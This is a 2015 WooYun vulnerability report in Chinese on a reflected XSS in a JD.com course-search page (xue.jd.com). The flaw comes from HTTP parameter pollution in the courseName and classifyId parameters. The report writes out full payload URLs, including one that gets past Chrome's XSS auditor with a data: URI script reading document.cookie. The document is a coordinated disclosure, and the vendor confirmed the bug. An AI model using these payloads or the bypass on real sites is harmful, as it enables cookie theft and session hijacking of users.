当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120718

漏洞标题:京东某站由HTTP parameter pollution导致的XSS跨站(绕过chrome 的filter)

相关厂商:京东商城

漏洞作者: 大物期末不能挂

提交时间:2015-06-16 09:25

修复时间:2015-08-03 14:18

公开时间:2015-08-03 14:18

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-16: 细节已通知厂商并且等待厂商处理中
2015-06-19: 厂商已经确认,细节仅向厂商公开
2015-06-29: 细节向核心白帽子及相关领域专家公开
2015-07-09: 细节向普通白帽子公开
2015-07-19: 细节向实习白帽子公开
2015-08-03: 细节向公众公开

简要描述:

参考资料:
https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
http://blog.csdn.net/eatmilkboy/article/details/6761407
http://www.wooyun.org/bugs/wooyun-2010-0113343
继续为把wooyun漏洞提交写成wooyun知识库努力。

详细说明:

0x00 关于HTTP parameter pollution(以下简称HPP)
这部分内容在https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf上说的很详细了。
简单的说,就是http://www.test.com/?q=xss1&q=xss2,不同的WEB服务器处理的方式不一样,个人感觉http://blog.csdn.net/eatmilkboy/article/details/6761407中google和yahoo的例子已经将HPP的原理讲得很清楚了。
个人认为HPP可以有以下的一些作用:
1.绕过WAF
2.SQL注入
3.XSS
4.其它(例如上文http://blog.csdn.net/eatmilkboy/article/details/6761407中提到的刷票)
0x01 XSS

http://xue.jd.com/ondemandCourse/queryOndemandCoursePage.action?classifyId=&courseLable=%25E6%258E%25A8%25E5%25B9%25BF&courseName=123&courseName=1234&flag=1


当URL中有两个courseName(courseName=123 courseName=1234)时,回显如图所示:

反射XSS.png


可以看出,这里是一个HPP的点。同理,这个URL中的classifyId参数也存在HPP,也可以构造反射型XSS,下文就拿courseName举例,但是厂商修复的时候别漏了classifyId这个参数。
当我们把第一个courseName参数中加上>后,发现直接跳转到了xue.jd.com,可以明显地看出有过滤。
但是当我们在第二个courseName参数后加上>后,并没有跳转发生,所以这里可以绕过。
尝试SQL注入无果后再次尝试XSS。

http://xue.jd.com/ondemandCourse/queryOndemandCoursePage.action?classifyId=&courseLable=%25E6%258E%25A8%25E5%25B9%25BF&courseName=123&courseName=12%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3Ca%20herf=%22&flag=1


很不幸,被chrome的filter拦住了。

chrome filter.png


0x02 绕过chrome的filter
搜索wooyun以往的绕过filter的例子,找到了
WooYun: bilibili某子站存在反射型XSS漏洞可成功获取用户权限(XSS auditor bypass技巧)
里面说的已经很清楚了,我就不赘述了。
成功构造

http://xue.jd.com/ondemandCourse/queryOndemandCoursePage.action?flag=1&classifyId=1&classifyId=1%22%3E%3Cscript/src=data:,alert(document.cookie);%26sol;%26sol;&courseName=e&courseName=%3C/script%3E%3Ca%20herf=%22&sortField=publish_time&order=asc


cookie2.png


由于只是证明问题,故只构造alert(document.cookie),没有进一步获取cookie了。

漏洞证明:

我的chrome版本43.0.2357.124 m

http://xue.jd.com/ondemandCourse/queryOndemandCoursePage.action?flag=1&classifyId=1&classifyId=1%22%3E%3Cscript/src=data:,alert(document.cookie);%26sol;%26sol;&courseName=e&courseName=%3C/script%3E%3Ca%20herf=%22&sortField=publish_time&order=asc


cookie2.png


同样,xue.jd.com/offlineCourse/getOfflineCourseList.action?classifyId=&courseName=e&flag=1&provinceId=84&provinceName=%E9%92%93%E9%B1%BC%E5%B2%9B&sortField=created
中classifyId和courseName参数也存在同样的问题。

修复方案:

我不知道

版权声明:转载请注明来源 大物期末不能挂@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-06-19 14:16

厂商回复:

非常感谢您对京东的关注!

最新状态:

暂无